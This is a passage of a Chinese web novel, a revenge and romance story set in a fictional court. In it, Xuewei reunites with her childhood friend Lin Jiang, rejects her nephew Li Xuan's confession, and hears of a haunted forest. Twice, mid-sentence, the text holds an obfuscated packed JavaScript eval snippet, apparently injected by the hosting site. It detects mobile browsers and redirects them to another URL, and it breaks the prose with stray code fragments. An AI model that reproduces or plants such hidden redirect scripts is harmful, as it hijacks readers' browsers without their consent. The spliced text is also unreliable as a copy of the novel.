“怎么,说不出话了?”每次看到这个女人吃瘪的模样,十一心中就觉得十分兴奋,也不知怎么回事,印证了心中所想之后,十一却并未表现的很开心,宁王府,当年就是林道全与宇文渊一起造反,才导致父王母后身死。 虽然当时十一才五岁,但一个五岁的孩子亲眼看着自己的亲人惨死在自己眼前,这种悲痛的记忆直接导致十一的记忆出现混乱,直到前段时间,子昂他们找到十一,他这才恢复了完整的记忆。 成王败寇,林道全,如果你知道了宇文渊事成之后会杀了你以及灭了你们林家,你还会选择这么做吗? 不过有些事发生了就是发生了,怎么改也改变不了,你们是乱臣贼子一事。 “你想怎样?” 冷冽的声音中,杀意四起,顿时,空气似乎紧张了许多。 十一依旧镇定自若:“帮助我成为九五至尊,成为西晋唯一的王。” 这人胆子倒是不小,居然这么有野心,雪微转头一想,野心倒是个好东西,既然他这么有野心,那为何不好好利用一把,他既然想成为西晋的王,那我就顺手推他上位,扳倒王座上的那个人。 “好。” 雪微说道:“不过七杀殿从不做亏本的买卖。” “你想与我合作,那么,你就要证明你有没有那个能力。” 当晚,雪微回到望月轩,沉思了许久,这个林将军,到底是什么人,他怎么会有自己的平安扣?她百思不得其解,趁着夜色,亲自来了一趟林将军府。 “来者何人?” 雪微刚落稳脚跟,一道森寒的声音迎面袭来,“你是谁,这么晚来林将军府有什么事?” 将军府果真能人辈出,雪微脚还未踏入,谁曾想,就被隐藏在一旁的暗卫发现了,她心中想了想,看来还是自己大意了。 于是便转身,离去。 那名暗卫追踪过一段时间后,察觉不对劲,便并未继续追踪下去,转身便朝着将军府离去。 今日本只想探探林将军的底,没想到,竟然连他的面都没有见到,看来,此人未来有可能会成为她复仇路上最大的阻碍。 雪微看着暗卫离去的身影,沉默了许久。 “你不是说过想要与我合作吗?眼下给你一个机会。”雪微复杂的看着十一,这个人,有的时候,她经常会感到莫名的熟悉,特别是夜色之下,这种熟悉的感觉,越来越剧烈。 杀手做久了,难道碰到同类,总会有一种莫名的熟悉感吗? “你想要我做什么?” “我要你帮我进入林将军府。” “林将军府?”十一的眼神晦涩难懂,这女人进林将军府想干什么?难道是她想刺杀林将军? “七杀殿的杀手无孔不入,难道,你们安排不进一个杀手进去?” “能,但是,我不想,此次进入林将军府只是为了我个人私事,与七杀殿无关。”雪微心中想了想:“平安扣一事,知道的人越少越好。” 她很想知道林将军与林家到底有什么关系,他难道不知道,但凡与林家扯上关系的,最后,结局都不会太好,今日,王上确实看重你,但这份看重,来日也有可能是致命的毒药。 十一左右思虑了会,也罢,她既然想去林将军府,那就让她去,将军府管控深严,十一也曾想过派影卫暗中潜入其中,但最后都一无所获,如今,她居然自荐,要自己亲自前去,难道七杀殿那边,也是一无所获。 这样一个如铁笼一般坚固的牢笼,进去的方式怕只有一种。 十一笑道:“好。” 他又道:“三日后,林将军府设宴,到时候,会有一批舞姬被送到林将军,到时候,你随本王一同前去道贺,到时候,你就混在这群舞姬之中,你看如何?” 他试探的问了问,顺便看了看眼前这个女子。 冰冷孤傲,这一次,我到要看看,这舞姬你到底做不做得。 雪微明知道此人有种故意看笑话的感觉,知道他明明有更好的安排,可却偏偏要她去当一回这舞姬,心中不免觉得可笑,舞姬...... “我不会跳舞。”雪微言语十分淡漠,虽然知道此人有意戏耍于她,但还是忍了下来,不管怎样,我都要拿回我的平安扣,那是母亲留给我唯一的遗物。 “不会没事,可以学嘛。” ...... 自从林将军回到京城以后,林府简直是门庭若市,朝中众多的官员都纷纷派媒婆给林将军提亲,可是,林将军却把他们都给一一回绝了。 说自己早已娶妻,奈何妻子与他走散,现如今,他只想找到自己的妻子,对别的女人没有一丝兴趣,这下,断了多少大臣想与之结交的心。 林将军早已娶妻,这事在京城中引起了轩然大波,百姓纷纷议论,这么年轻有为,前途无量的少年将军,他的妻子会是怎样的一个女子。 有的人心酸,有的人叹惜,没想到居然会有如此痴情的男人,一辈子就只想守着一个女人。 林将军虽然极力拒绝,但还是难以避免,有些人想趁机往林将军府中暗中塞进去一两个美女舞姬,他们心中所想,这么年轻有为的少将,怎么可能一辈子就只守着一个女人,那些不过是说给别人听的罢了。 每日都让这些美人在他的眼前晃动,难到还勾引不起林将军那颗蠢蠢欲动的心。 果真还是男人更懂男人的那些需求。 雪微混在这群舞姬之中,一个个花枝招展的,搔首弄姿,今日一定要找到机会,把林江身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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叶副将听到一阵怒吼声,顿了顿,转头笑道:“原来是庆安王殿下。” 他朝着十一颤颤巍巍的走了过来,一声酒气,闻着刺鼻,“王爷难道也看上了那个舞姬?” “吃醋了?” 他拍了拍胸脯,笑道:“作为男人,我懂。” “王爷要是喜欢,转头,我挑选几个,比这个更美的,给你送去?” 十一甩掉叶副将即将搭上来的左手,不顾情面的转身踏步而去。 “呸,什么东西,一个瘫痪十几年,整天只知道躺在床上,不受宠的王爷,也敢对着本将发脾气,这西晋的江山,可是我们这些武将拼着性命打下来的。”叶副将军一脸鄙夷,凭你,也敢吼我? “叶贺,这里是京城,可不是在漠北,你说话给我注意点。”王一峰看着叶贺,脸色沉了沉:“早知道,就应该叫将军把你留在漠北,免得你在京城给将军惹麻烦。” “一峰。”叶贺跺了两脚:“别......别......别......” “一峰,今日这事,你可别告诉将军,要不然,他定要把我遣送回漠北,那个七皇子,我看着就烦,要不是看在将军的面子上,我早就想把他揍一顿了,你可别再让我和他待在一起。” “知道就好,我告诉你,下不为例。”王一峰摇了摇头,他们这些王爷皇子们,只不过是出身高贵点,其实私底下,也没什么本事,王一峰心里虽然瞧不起这些人,但面子上还是得装一装。 “一峰,我问你个事,你说将军这么多年,从未有任何一个女子能够近他的身,怎么今日,见了这个舞姬,就一头栽了进去,难道,这舞姬有什么问题?”叶贺心里有预感,总觉得这个女子不简单。 王一峰笑了笑:“也许将军开窍了呢?” “不可能啊,除了夫人,还能有谁能够让将军开窍?”叶贺若有所思的摸了摸下巴,虽然将军一直说自己早已成亲,但他跟随将军七年,却从未见过将军夫人。 只是有的时候偶尔见到将军拿着那枚平安扣发呆,听将军说,那枚平安扣是他夫人之物。 “难不成,那舞姬是夫人?”叶贺大胆猜测了一番,他来回走动:“她应该就是夫人,要不然,将军怎么见到她,直接走上前去抱起了她。” “一峰,你说她是不是夫人?” “叶贺,你就别瞎猜了,等明天,就该知道一切了。”王一峰抬头,看了看星空,叶贺所猜何尝不是他所想呢?将军从来不近女色,今日行为却如此奇怪,有且只有一个可能,那就是,这名女子,将军认识。 能够让将军如此亲密,且在大庭广众之下直接抱走的女子,王一峰想到之人,只有夫人,虽然他从未见过夫人的容颜,但直觉告诉他,此人与将军之间,关系不同寻常。 不管明日结果如何,王一峰都希望夫人能够回来,这座将军府太冷了,它需要一个女主人来温暖温暖将军的心。 29. 小峰 一把冰冷的匕首无情的架在林江的脖子上。 “怎么,不准备继续装下去了?”林江眉如剑锋,带着坏坏的笑脸目不转睛的盯着雪微。 “放开我。” “不放又如何?” “那你就去死。” “我死了,你是不可能全身而退的,你的仇还未报,你舍得死吗?” 微儿姐姐,十多年不见,你果真不记得我了,我是小峰啊,林江心里略有些失落,但很快就自我安慰道:“我们十几年未见,我早就不是当初那个小男孩了,我今年已经二十一岁了,她肯定不认识我。” 想到这里,林江心里宽慰了许多。 “你到底是谁,怎么知道我是来复仇的?”雪微看着眼前的这个男人,虽然他面带微笑,但他似乎可以洞穿一切,他知道我来京城的目的? 这个人很可怕,如果处理不好,对雪微来说,可是个阻碍。 “留他不得。” 可杀了他,今晚也会暴露,正如他所说,雪微不可能全身而退。 正在雪微思索之时,林江反手握住了雪微的手腕,“姐姐今晚还是留在这里吧,我知道姐姐想要什么?” 他从脖子上取下平安扣,不知是雪微错意,还是怎么回事,这个人看起来似乎并没有恶意,反而浑身上下都透露着喜悦,“姐姐,你是想要它吧?” “他怎么知道我要的是平安扣,这人神了,难道他会读心术?”雪微眼眸垂了下去,被他说中了心事,心中突然感到怪怪的,读心术可是圣巫族特有的心法,一般都不传外人,难到他是圣巫族人? 既是圣巫族族人,为何又做了西晋的将军? 难道他来西晋另有所谋,他想控制整个西晋,协助圣巫族统一天下? “姐姐,不用多想,我对你没什么恶意,只是想要你多陪陪我而已。”林江抬头,目光从平安扣转到雪微身上,“姐姐,你陪我一晚,明日,我就把这枚平安扣给你,你看怎么样?” “只陪你一晚,就可以了?” 就这么简单吗?雪微总觉得这个人不像是这么好打发之人。 林江点了点头:“对,你陪我一晚,就可以了。” “成交。” 屋外有十几个高手,不管怎样,即使和他正面相斗,也无法保证全身而退,既然他提出了一个简简单单的要求,满足他不就行了,相信他这种人,也不会是什么言而无信之徒。 雪微看着这个男人总觉得有些不对劲,但她仔细想了想,却又察觉不出任何蛛丝马迹,这个人简直太完美了,他到底是谁? “姐姐不用这么紧张,我不会害你的。”林江看着雪微浑身紧绷的模样,心中不免觉得有些心疼,这十几年,你到底是经历了什么? 当年那个无忧无虑的小女孩终究独自一个人熬过了漫长的黑夜,他看着雪微的身影,心中暗自发誓:“从今以后,有我在,我绝不会让任何人欺负你,哪怕这个人是王上?” “姐姐,我一路厮杀至今,就是为了今日能够像现在一样站在你的身边,以前,你是京城的贵女,我只能远远的看着你,现在也是一样,你在我的心中,一直都是珍贵的存在。” “以后有我保护你,你就放心的去干你想干之事。” 他看着雪微警惕的眼神,不免笑了笑:“姐姐不必如此警惕的盯着我,你放心,我不会对你做什么的。” “再说,如果我要是真想做些什么,今晚,你也逃不了。” 确实,这个人倒是诚恳,雪微收回匕首,坐在桌旁,给自己倒了一杯水,正准备端起茶杯喝水时。 林江开玩笑道:“姐姐不怕我下毒吗?” “毒?” 雪微想都没想的一口喝了下去,“这个世上能够毒倒我的毒,没有几种,我的身体早就百毒不侵了。” 当年,师父叫她尝尽百毒,什么样的毒,她没尝过,她的身体的血怕是比寻常的毒药还毒吧。 没过多久,床榻上的那个男人便传来阵阵呼吸声。 “这人心真大,难到他不担心,我会趁他入睡,杀了他?”雪微抬头看了看空中的月亮,今晚的月色十分寒凉,被云层遮住,光影都暗淡了几分。 “这个给你。” 雪微看着林江递过来的平安扣,这不是她原来的那枚平安扣,她盯着林江,眼底闪过一丝杀意:“你骗我?” “我从未说过要把那枚平安扣给你,是姐姐你想多了。”林江一脸狐疑的看着雪微:“那枚平安扣是我夫人之物。” 他上下打量着雪微:“除非姑娘愿意做我的娘子。” “???” 这个人,从昨日开始言行举止就奇奇怪怪的,雪微有些摸不着头脑,他到底想干什么?明知到我接近他是有目的的,可他什么都没做,只要我陪他一晚。 现在又说什么要雪微做他的娘子? 雪微从未见过如此偷奸耍滑之人,这人看上去怎么和百姓口中的传言不一样呢?相反,雪微觉得他泼皮无赖,甚至比庆安王宇文昌还要无赖。 “这个平安扣分明就不是你夫人之物,你少骗我了。”雪微心想:“这明明就是我的东西,怎么就成了你夫人之物了呢?” 她看着林江,说道:“你是怎么得到这个平安扣,你自己心里清楚,这不是你的东西,你为何偏偏要霸占着不放呢?” 林江哑然,“牙尖嘴利。” 他拿着这枚平安扣,“这的确不是我的东西,这是一位贵族小姐偶然遗落的,只不过刚好被我捡到了。” 他向前走近一步:“难道,姑娘与这位贵族小姐认识?” 雪微嘴角一抽,要是说认识,那岂不是不打自招,说不认识,又如何证明这枚平安扣是我自己的呢? 左也不是,右也不是。 这个人摆明着就是不想给呗,雪微懒得废话,既然不想给,就算了,咱们来日方长。 她转身,正准备离去。 此时,林江突然有些慌张,我这么捉弄她,雪微姐姐难到是生气了吗? 他跑到前面去,拦住雪微道:“姑娘,你当真不想要这枚平安扣了吗?” “想。”雪微直视着林江:“既然你不想给我,那我就不要了,左右只不过是一枚平安扣而已,林将军喜欢留着,就留着吧。” “姐姐。” 林江大声喊道:“林雪微,站住。” “林雪微......” 好久都没有人直呼过这个名字了,雪微心里觉得诧异,这人怎么知道我就是林雪微,她佯装道:“林雪微是谁?” 林江来到雪微身前,他与雪微并肩站在一起,明显的高出雪微大半个头,“姐姐,在我面前,你可以不用伪装的。” 看着少女一脸的倔强,林江心中隐约有些难受,这么多年,一个人默默的承受这些,应该受了很多的苦吧。 自从知道雪微来到京城以后,林江便着手准备着回到京城,“这一次,有我在你的身边,我不会再让你一个人承受这一切的。” “你到底是谁?”雪微举着匕首对着林江,怒斥着他。 “姐姐,我是小峰啊,你当真的不记得我了?”林江试探性的看着雪微的脸色。 一个月以前,一个黑衣人写了一封信给林江,信里的内容是,林雪微已经回到了京城,现在顶替了漠北的月华公主,成为了庆安王王妃。 当时看到这封信的时候,林江心中有些不可置信,他找了林雪微十三年,十三年来,她一点音讯都没有,可这个黑衣人又是怎么知道这一切的? 林江心里觉得此事一定有蹊跷,如果这个人真的是雪微姐姐,那么,这一次,他觉不能让雪微姐姐独自一个人去涉险,林江知道,雪微姐姐回到京城就是为了当年宁王府一案。 这个案子至今,朝中上下都没有一个人敢站出来,林江知道,如果不是王上疑心太重,宁王何至于会有此等下场,说白了,这一切祸根的来源,都是王上,但是让王上亲口承认自己的错误,那简直比登天还难。 姐姐,你难道不知道吗?你真正的仇人,是王上,造成今日这一切都是因为他,我是不会亲眼看着你去送死的。 “小峰......” 雪微好像有了点印象,“你是小峰?” 林江朝着雪微点了点头。 “可是你为什么叫林江呢?” “姐姐,因为你姓林啊,为了隐姓埋名,我就用了姐姐的姓。” “林姓也不是个好姓,你难道不怕引起别人的怀疑吗?自从林家被灭族以后,京城姓林的家族都已经改姓。” “小峰,你实在不应该再姓林的。” 没想到当年还跟在自己身后追着自己跑的小男孩,如今却长成了一米八的大个子,雪微心中有些感慨,当年的那些人,见到自己该躲的躲,没有一个人愿意帮助她,没想到,小峰却一直记得。 “我不管,姐姐姓林,那么我也要姓林,姐姐难道吝啬到不愿意我姓林吗?”林江撇了一眼,看了看雪微的神情。 “那倒不是。”雪微说道:“我是怕有人怀疑你跟林家有什么关系?” “所以姐姐是在关心我吗?”林江心里十分感动,“雪微姐姐,我只想你的心里有我一个位置,哪怕那个位置在一个角落也没关系。” 雪微细细想了想,质疑道:“小峰,你这次回来,该不会是因为我吧?” 为何小峰回来的如此巧,这一切,雪微都觉得有些不对劲,“小峰是怎么知道我在京城的,他还知道些什么?” 林江点了点头:“姐姐说得对,我此次回京城正是因为姐姐,我知道姐姐回到京城是为了查找宁王府一案。” “但是......”林江犹豫了会:“姐姐,宁王府一案和王上有莫大的关系,你想翻案,概率基本上为零。” “我知道。” “那姐姐为何还如此执着?” 雪微看着林江一脸疑问的模样,笑了笑:“小峰,有些事,你不明白。” “我宁王府三百多口人,一夜之间惨死,此事怎么能够轻易就这么算了,如果就这么轻易算了,那三百多条亡魂,他们又往何处归兮。” “我明白。”林江只觉得心疼,不管你做什么,我都永远的支持你,雪微姐姐,你难到忘了吗?自小,我就是追在你的身后,跟着你跑,你去哪里,我就会跟到哪里。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892851|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是怎么知道我在京城的?” 林江把黑衣人传信给他一事与雪微说了,雪微心中有有些诧异,“黑衣人怎么对她的行动了如指掌,这个黑衣人到底是谁?” 整件事情的背后,雪微只觉得有一双无形的手在推动着他们继续往前走,这个人到底是谁?他会不会是沈雨菲背后的那个黑衣人?如果是,那么他到底想做些什么? “你刚回京城就已经知道了我就是林雪微,所以你特意骑马从我的身旁走过,好让我看清你身上带着的平安扣,然后,你专门在府里等我?” “搞了半天,这一切都是小峰特意安排的,目的就是为了让我来将军府找他。”雪微心里不免有些哭笑不得,然来,忙活了大半天,却成为了无用功。 被雪微猜出心思,林江脸上有些挂不住,嘿嘿道:“没想到,还是被姐姐猜了出来?” “我确实是故意让你看到这枚平安扣的,我想,你见到了这枚平安扣,肯定就会来找我的。” 他笑嘻嘻道:“我想得没错吧,姐姐。” 你确实想得不错,雪微冷哼一声,心底想了想:“你把我耍的跟着你团团转。” “你不应该回来的。” 林江一脸吃惊的看着雪微。 “这座王朝,即将变天了。”她抬了抬头,朝着天空看了看,太阳即将升起,新的一天即将开始。 “你现在离开,还来得及。” “不......” “姐姐,我是不会走的。”林江紧紧的捏紧雪微的肩胛骨,摇头道:“微儿姐姐,我是不会丢下你,独自离开的。” “我要与你一起,哪怕是上刀山下火海,我也愿意。” “小峰,你听我说,京城没什么好的,留在这里的人,最后都会沦为王权的怪物,他们的眼中充满了利益,整天只想着如何算计别人,让自己能够从中多得到点金钱权力,你明白吗?” “如果有一天,他们发现你阻碍了他们的道路,他们也会毫不留情的杀了你。” 雪微抚摸着林江的脸颊,“姐姐不希望你留在京城,变成终日只想着算计别人的怪物。” 指甲的温度划过林江的皮肤,一股子梅花香气,迎面而来,“姐姐,你放心,只要有你在一旁规劝我,我就不会成为那种怪物。” “你怎么就是不听劝呢?” “微儿姐姐,你在京城,我怎么可能离去呢?”林江心中暗自庆幸,“十三年了,上天待我不薄,让我终于再次见到了你,我怎么可能放手呢?” “微儿,不是我不明白,是你看不明白,这是一个男子的初心,而你就是支撑我活下去的那颗初心。” “如果没有了你,我也许早就不知到死在哪里了,今日能够和你并肩站在这里,同你说话,已经是上天给我莫大的福气了。” 雪微神情严肃,她不是个热心肠的人,可小峰不一样,她把小峰当作弟弟一样,“腿长在你自己的身上,既然你不愿离去,我也劝不动你,那你好自为之吧。” 雪微回过头再一次看了眼小峰,便转身离去。 “姐姐。” “你还有什么事?” 林江走上前来,把一块平安扣戴到雪微的脖子上,“姐姐,你忘记了,你的平安扣。” 一阵冰凉的感觉穿透心胸,雪微低头看了看那枚碧绿色的平安扣,这不是母亲送给她的那枚,雪微抬眼,二人目光短暂相交。 母亲送给她的平安扣此刻正好挂在林江的脖子上,那是一块上好的羊脂白玉,玉面上雕刻着云纹,栩栩如生,还有一只锦鲤在其中遨游。 林江见状,连忙护住胸前挂着的平安扣,生怕有人抢了似的,笑着看着雪微。 “放心,我还不至于去抢,既然你捡到了,那就证明你与它有缘份。” “这个小峰,还真担心我会去抢?”雪微吃惊,“确实啊,他担心的没有错,刚才有一瞬间,我确实想过把它抢来。” 雪微狐疑的看着林江,这人是不是会读心术,她心中想什么,他都能够提前知道,小的时候,雪微与父亲一起出游,路过北辰国,偶然救下了他,当时他已经奄奄一息,身旁的人都已经气绝身亡了。 后来,他醒来以后,什么话都不说,对他家人一事也从来不提,雪微当时就纳闷,以为自己救了一个哑巴回来。 “小峰,他应该是北辰国人吧?” 雪微也没有多问,每次提起他的家人,小峰都会沉默发呆许久,问过几次,他从来都不说,雪微便没有再继续问下去了。 小峰在宁王府待了一年,把伤养好了,便被父亲送到乡下的庄子里去了,父亲说,小峰是北辰国人,不能再留在府里,当时,西晋与北辰刚好正在打仗,要是被人发现,宁王府里出现了北辰国人,到时候,不仅解释不清楚,还会把小峰牵扯其中。 左思右想,最后决定把小峰送到乡下的庄子里。小峰走的时候,雪微都毫不知情。 现在想想,当初父亲送小峰离开,真是个正确的决定,如果小峰要是没有离开,也许活不到今日吧。 宁王府那场屠杀至今还在雪微的眼前晃悠,那股子血腥味,直到现在,雪微闻起来心中都觉得恶心。 30. 闹鬼 从将军府出来,正好在街上遇见李玄,一个月未见,他看起来消瘦了许多,想必,李府的那些老古董可不是那么好忽悠的。 “我等你好久了。”他一脸心急:“你要是再不出来,我怕我会冲到将军府里。” ??? 一夜未眠,雪微双眼有些疲惫的看着李玄,“你冲进将军府,想干什么?” “与他们打一架?” 雪微淡漠的语气说道:“就凭你一个人,恐怕连将军府的大门都进不去。” “你不进去,才是对的。” 这孩子是她看着长大的,他是什么脾性,雪微心里再清楚不过了,“你如今好歹也是个李侯爷,怎么还可像以往一样意气用事呢?” 她言语虽然有些许责备,但李玄心中知道,雪微是关心他的。 被雪微从乡下别院救出的那一年,李玄曾经生过一场重病,因为自己第一次杀人,被鲜血溅得满身,他心中害怕极了,由于心生恐惧,每逢夜晚,时常被噩梦惊魂。 他还记得,在自己发烧全身无力昏睡不醒的时候,有一双温暖的手替他擦拭着身体,给他的身体降温。李玄知道,雪微对他虽然十分严厉,但都是为了他好。 “我知道,雪姨,如今李府已经步入正轨了,自从李朔死后,李家的那些老古董,在我面前完全不成气候,他们还以为我会像李朔一样,那么恭敬的对待他们?” 李玄笑了笑:“别做梦了,他们的好日子也算是过到头了。” 说到此处,李玄哽咽了会,“我母亲的死,他们也是罪魁祸首之一,这么多年的蛰伏,就是为了今日,能够一举摧毁他们。” 他看向雪微,一脸郑重的表情,说道:“雪姨,你就放心吧,我是不会给他们第二次崛起的机会。” 雪微点了点头,她心里默默想道:“姐姐,你在天上安息吧,玄儿,现如今终于长大了,他知道如何保护好自己了。” 她呼了口气,如释重负,突然觉得身子轻松了许多。 “雪姨,就算是为了你,我也不会再给他们任何可能崛起的机会,因为,我要变得强大,只有这样,我才能保护好你。”李玄余光洒过,心里暗自庆幸,庆幸自己还能有机会默默的保护雪微。 “玄儿今年十九了吧。” 李玄点了点头,心中窃喜:“以往雪微从未过问过他的生日,怎么今日,她突然问自己生辰,难道,她想给我过生日?” 知道李玄一根筋,雪微微微笑道:“你该娶亲了。” “娶亲???” 李玄眼眸低垂,心中诧异,恍然神色暗淡有些失落,绕来绕去,雪姨居然想让我成婚?为什么,不喜欢我,可以不见面,为什么要让我成婚? 雪微继续道:“要是看上哪位大臣的女儿,就赶紧把她娶回来吧。” “不......雪姨......我现在还不想娶亲。”他支支吾吾道。 “哪有男子成人了,还不想娶妻生子的,玄儿,切莫因为我,耽误了你的终身大事。” 雪微知道李玄对自己的那点心思,她想亲手断了李玄的念想。 “雪姨,成婚有什么好的?”他心里想了想,“成婚了,我就再也不能像这样站在你的身旁了。” 李玄停下脚步,看着雪微的背影,沉吟片刻道:“雪儿,不管你承不承认,我此刻想说的是......” “住口。”雪微心中慌了神,这孩子为何偏偏对自己不死心,难道是自己给了他错觉吗?她瞪着李玄,疾言厉色道:“你我,绝无可能。” 她顿了顿,又道:“李玄,你脑子怎么糊涂了,我对你好,只是因为你是我姐姐的孩子,你明白吗?” “雪儿,为什么?就因为这,所以你就不可能爱上我了吗?”李玄走上前一步,“林雪微已经死了,早在十三年前,宁王府那场大火中,死了。” “你根本就不是我母亲的妹妹,庆安王就是一个游手好闲的王爷,他根本就配不上你。” “你宁愿选择嫁给那个人,也不愿与我在一起吗?” “疯了。” 雪微看着眼前之人,突然觉得如此的陌生,这个人是李玄吗,是那个她从乡下别院里救回来的李玄吗?曾有一刻,雪微恍然间觉得自己好像从未认识过他,他怎么可以,怎么可以这么堂而皇之的向她告白。 “这是□□,你不要再继续说下去了。”雪微脸色煞白,生怕他情绪激动之下做出不可挽回的事情来。 “是,我是疯了,雪儿,为什么,我都说得这么明白了,为什么你就是不肯接受我呢?与我合作,比与那个闲散王爷合作,不是更好吗?” “你和我,是不可能的。”雪微神色有些愤怒:“李玄,我再说一次,你是我姐姐的孩子,我是你的长辈,你可明白?” “不明白,不明白,雪儿,我不想明白这些,我只想和你在一起。” “你难到想毁掉所有人吗?” “是......” 雪微气急,一巴掌打到李玄的脸上,李玄的左脸上顿时出现五个手指印,“这是我替你母亲教训你的。” “从今日起,你我就不要再见面了。” 雪微绝然的转身离开了。打了李玄的手掌心还在瑟瑟发抖。 “对不起,我也不想这样的,打了你,我也心疼,可是,我没有办法,对不起,李玄,为了你,为了姐姐,我必须这么做。” 李玄倔强的看着雪微渐渐远去的身影,眼眶之中含满了泪水,强忍着不让泪水落下。 “雪儿,为什么,我以为这个世界上最了解我的那个人会是你,可如今,连你也不理解我,我只想和你在一起,这有错吗?” “我不在乎什么纲常伦理,也不在乎世人的眼光,更加不在乎什么侯爷爵位,我只要你,只要和你在一起。” “只要能够和你在一起,哪怕失去一切,又有何妨?” 庆安王府内,子昂走进书房:“王爷,王妃回府了。” 十一继续翻动着手中的书册,不为之所动。 王爷派我一直守在林将军府门前,盯着府里的一举一动,刚刚,子昂在将军府门口,看到王妃和一名男子拉拉扯扯,子昂于是便跟了上去,却听到了一个巨大的秘密。 子昂左思右想,心中犹豫不决,这事到底该不该告诉王爷呢?可是王爷与王妃只不过是合作关系,又不是什么真夫妻,他心里叹气。 “你有事吗?”十一看了一眼子昂的神情,这人往常汇报完后便会直接离去,怎么今日,却一直停留在这里,举止十分异常。 “没......没事......” 他吞吞吐吐,结结巴巴,心里十分纠结。 十一放下书册,若有所思的看着子昂:“你有事就直说,别藏着掖着,怪难看的?” “王爷,这可是你叫属下说的啊。”子昂内心忐忑,生怕王爷一不小心就把他发配到宁古塔,那个地方,大雪纷飞,连妖兽都不会去,根本就不是人待的地方。 “你听了,可别动怒,毕竟,你与王妃只不过是合作而已,又不是什么真的夫妻。” “你别废话了,赶紧说吧。”这人往日做事都是干净利落,怎么今日脱离带水的,十一有些不耐烦。 “属下按照王爷的吩咐,今日守在林将军府门口,在门口看见王妃和一名男子拉拉扯扯的,举止极为亲密,看样子,像......像......”他看了看十一的脸色,始终不敢说出口。 “像什么?” “情人。” “大胆,王妃也是你敢议论的吗?”十一也不知怎么了,心中突然感到恼火,十分不悦,这女人,刚出林府,居然又勾搭上另一个了,这速度,够快的啊。 “出去。” 子昂此时脑中一片空白。 “赶紧给本王滚出去。” “王爷到底怎么了,他和王妃不是假夫妻吗?怎么听到这事,居然会如此生气?”子昂心中有些不解,但为了避免殃及池鱼,转身,便赶紧离开了。 这个女人怎么如此不安分,昨日勾搭林将军,今日又与另一名男子扯上关系,这名男子是谁,十一感到莫名其妙,他是怎么了,想到她与别的男子在一起,心里为何会觉得如此不爽。 一杯凉茶下肚,十一突然觉得浑身清醒了许多,“我这是怎么了,想到那个女人,心里为何会莫名烦躁。” 他叹了口气,“一定是最近太过于劳累了,我们只不过是合作关系,她与何人在一起,与我又有什么关系。” 十一尽量克制自己,不要太过频繁的关注雪微,等合作结束,两人就会桥归桥路归路,此生也许都不会有任何交集。 “一定是这样,看来,定是我多思了。” ...... “少宫主,京城昨日夜里出现一桩闹鬼案件。”锦瑟见到雪微一脸疲倦的模样,心中难免有些心疼,看来少宫主昨夜定是没有休息好。 “闹鬼?” 锦瑟点头:“据百姓传言,今早在附近的山林发现几具被吸干全身血液的死尸,他们面目狰狞,死之前似乎见到了什么恐怖的东西。” 雪微端起茶杯,抿了口茶水。 锦瑟继续说道:“从那附近的百姓口中得知,这片山林名为凌月峰,每晚子时,山林里面都会传来奇怪的声音,像是哭声,断断续续的持续了好几年,村民们夜间都不敢从那附近过,生怕一不小心,就被那里的鬼抓去吸干了浑身的血液。” “镇妖司今日一早听闻此事,便朝着那片山林赶去,至今为止,什么都没有发现。” 雪微放下茶杯,略有所疑,“什么都没有发现?” 前几日,十一说他在山中查到一处奇怪的地方,当时雪微并没有把十一的话放在心中,现如今,那片山林里就出现了村民被吸干全身血液的事情,这两件事放在一起,难道真的会是巧合吗? 还是十一从一开始就知道,凌月峰里有异常,百姓口中的鬼不是鬼,而是人蛊。 “我知道了,你先下去吧。” 她晃了晃手中的银镯,传信给十一,想必,他应该是知道些什么? 这个小峰,昨日什么都不说,害得她心里猜疑了许久,一夜未眠,他倒好,一觉睡到天光,也不怕我半夜错手把他给杀了。 雪微心里叹了口气,一头栽到床上。 这一觉直接睡到了太阳落山,直到,窗外下起了淅淅沥沥的小雨,最近天气也不知怎么回事,每到戌时,总会下点小雨,连着都下了好几天。 “你找我有什么事?”快半个月不见,十一看起来似乎英俊了许多。 “难道是我的错觉。他今日穿的衣服居然不是一如既往的黑,而是一身宽大的灰袍,看起来让人眼前焕然一新。” 见十一穿黑色穿久了,偶然见到他换了一身浅色袍子,雪微突然觉得有些不适应。 “没有什么事,只不过 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确实是远远看着啊,只不过是子昂看着,十一心里默默的想了想:“子昂毕竟也是我派去的,怎么说,也应该是我的功劳吧。” 听着十一的话里的意思,雪微算是明白了,这人倒是会趁机邀功,她想了想,神色依旧没有任何表情道:“我知道了,你走吧。” “就这???” 十一本想说,你找我大老远跑这里来,就只是为了问这点事情,他心中郁闷至极,本来今日与三皇子在一起喝花酒,谁曾想,花酒喝到一半,居然感应到了体内蛊虫的波动,十一心想,雪微肯定是有什么大事找他。 没想到来了之后,居然发现雪微正在睡觉,便不忍打扰,站在一旁看着她的睡颜,看了许久,直到她睡醒之后,十一这才假装着,刚到这里。 结果最后居然只是为了问他这么个简单的事情,哎...... 十一心里叹气道:“早知道,就应该继续和三哥喝花酒,毕竟他瘫痪在床十几年,好不容易,有了这么个机会可以与他们套套近乎,多走动走动。” 自从十一顶替宇文昌的身份,从瘫痪在床的王爷一夜之间好转之后,京城之中又多了一个游手好闲的闲散王爷,大家表面上对宇文昌客客气气,但私底下却都瞧不起他,不过这样也好,给了十一掩耳盗铃的机会。 毕竟纨绔的王爷形象,刚好可以打消那些人的猜测,十一也更加游刃有余的在私底下去布局。 十一看了眼雪微,至于这个女人,左右不过是相互利用一场,不过,毕竟她解了我体内的一线牵,念在救命之恩的面子上,即使她是林家人,十一也准备功成之后,好聚好散,毕竟,林道全已经死了,而且还是被他最信任的结拜兄弟所杀。 怎么说,他的结局也挺凄惨的。 